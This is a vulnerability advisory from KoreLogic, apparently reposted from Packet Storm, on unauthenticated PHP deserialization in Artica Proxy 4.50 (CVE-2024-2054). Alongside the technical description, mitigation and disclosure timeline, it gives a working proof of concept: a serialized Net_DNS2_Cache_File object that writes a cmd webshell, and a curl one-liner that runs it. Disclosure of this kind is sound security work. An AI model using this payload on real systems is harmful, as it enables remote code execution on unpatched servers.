Artica Proxy 4.50 Unauthenticated PHP Deserialization
2024-3-7 01:11:55 Author: packetstormsecurity.com(查看原文) 阅读量:15 收藏

KL-001-2024-002: Artica Proxy Unauthenticated PHP Deserialization Vulnerability

Title: Artica Proxy Unauthenticated PHP Deserialization Vulnerability
Advisory ID: KL-001-2024-002
Publication Date: 2024.03.05
Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2024-002.txt

1. Vulnerability Details

Affected Vendor: Artica
Affected Product: Artica Proxy
Affected Version: 4.50
Platform: Debian 10 LTS
CWE Classification: CWE-502 Deserialization of Untrusted Data
CVE ID: CVE-2024-2054

2. Vulnerability Description

The Artica Proxy administrative web application will deserialize
arbitrary PHP objects supplied by unauthenticated users and
subsequently enable code execution as the "www-data" user.

3. Technical Description

Prior to authentication, a user can send an HTTP request
to the "/wizard/wiz.wizard.progress.php" endpoint. This
endpoint processes the "build-js" query parameter by base64
decoding the provided value and then calling the "unserialize"
PHP function with the decoded value as input.

Code snippet from "wiz.wizard.progress.php":

if(isset($_GET["build-js"])){buildjs();exit;}
...
$ARRAY=unserialize(base64_decode($_GET["build-js"]));

To exploit this vulnerability, a user can leverage the
installed "Net_DNS2" library autoloader to instantiate the
"Net_DNS2_Cache_File" class. The "__destruct" method
within this class will write to arbitrary files defined
by the class:

public function __destruct()
{
//
// if there's no cache file set, then there's nothing to do
//
if (strlen($this->cache_file) == 0) {
return;
}

//
// open the file for reading/writing
//
$fp = fopen($this->cache_file, 'a+');
if ($fp !== false) {
...
if (!is_null($data)) {

//
// write the file contents
//
fwrite($fp, $data);
}

An unauthenticated user can overwrite existing files and
insert a webshell to execute malicious PHP as the "www-data"
user.

4. Mitigation and Remediation Recommendation

No response from vendor. This vulnerability can be remediated
by deleting the 'usr/share/artica-postfix/wizard' directory
if it is not needed. Otherwise, move it to a location outside
of the web root.

5. Credit

This vulnerability was discovered by Jaggar Henry of KoreLogic,
Inc.

6. Disclosure Timeline

2023.12.18 - KoreLogic requests vulnerability contact and
secure communication method from Artica.
2023.12.18 - Artica Support issues automated ticket #1703011342
promising follow-up from a human.
2024.01.10 - KoreLogic again requests vulnerability contact and
secure communication method from Artica.
2024.01.10 - KoreLogic mail daemon receives SMTP 554 5.7.1 from
mail.articatech.com with response
"Client host rejected: Go Away!"
2024.01.11 - KoreLogic requests vulnerability contact and
secure communication method via
https://www.articatech.com/ 'Contact Us' web form.
2024.01.23 - KoreLogic requests CVE from MITRE.
2024.01.23 - MITRE issues automated ticket #1591692 promising
follow-up from a human.
2024.02.01 - 30 business days have elapsed since KoreLogic
attempted to contact the vendor.
2024.02.06 - KoreLogic requests update on CVE from MITRE.
2024.02.15 - KoreLogic requests update on CVE from MITRE.
2024.02.22 - KoreLogic reaches out to alternate CNA for
CVE identifiers.
2024.02.26 - 45 business days have elapsed since KoreLogic
attempted to contact the vendor.
2024.02.29 - Vulnerability details presented to AHA!
(takeonme.org) by proxy.
2024.03.01 - AHA! issues CVE-2024-2054 to track this
vulnerability.
2024.03.05 - KoreLogic public disclosure.

7. Proof of Concept

To overwrite the "wiz.upload.php" file to contain a PHP
webshell, the following serialized object can be base64
encoded and submitted via the "build-js" query parameter:

O:19:"Net_DNS2_Cache_File":4:{s:10:"cache_file";s:47:"/usr/share/artica-postfix/wizard/wiz.upload.php";s:16:"cache_serializer";s:4:"json";s:10:"cache_size";i:9999999999;s:10:"cache_data";a:1:{s:30:"<?php
system($_GET['cmd']); ?>";a:2:{s:10:"cache_date";i:0;s:3:"ttl";i:9999999999;}}}

$ ARTICA_URL="https://127.0.0.1:9000"; PAYLOAD_CMD="id"; curl -k
"$ARTICA_URL/wizard/wiz.wizard.progress.php?build-js=TzoxOToiTmV0X0ROUzJfQ2FjaGVfRmlsZSI6NDp7czoxMDoiY2FjaGVfZmlsZSI7czo0NzoiL3Vzci9zaGFyZS9hcnRpY2EtcG9zdGZpeC93aXphcmQvd2l6LnVwbG9hZC5waHAiO3M6MTY6ImNhY2hlX3NlcmlhbGl6ZXIiO3M6NDoianNvbiI7czoxMDoiY2FjaGVfc2l6ZSI7aTo5OTk5OTk5OTk5O3M6MTA6ImNhY2hlX2RhdGEiO2E6MTp7czozMDoiPD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8%2bIjthOjI6e3M6MTA6ImNhY2hlX2RhdGUiO2k6MDtzOjM6InR0bCI7aTo5OTk5OTk5OTk5O319fQ%3d%3d"
&& curl -k "$ARTICA_URL/wizard/wiz.upload.php?cmd=$PAYLOAD_CMD";

{"uid=33(www-data) gid=33(www-data) groups=33(www-data)
":{"cache_date":1696883506,"ttl":8303116493}}

The contents of this advisory are copyright(c) 2024
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:
https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.3.txt


文章来源: https://packetstormsecurity.com/files/177482/KL-001-2024-002.txt
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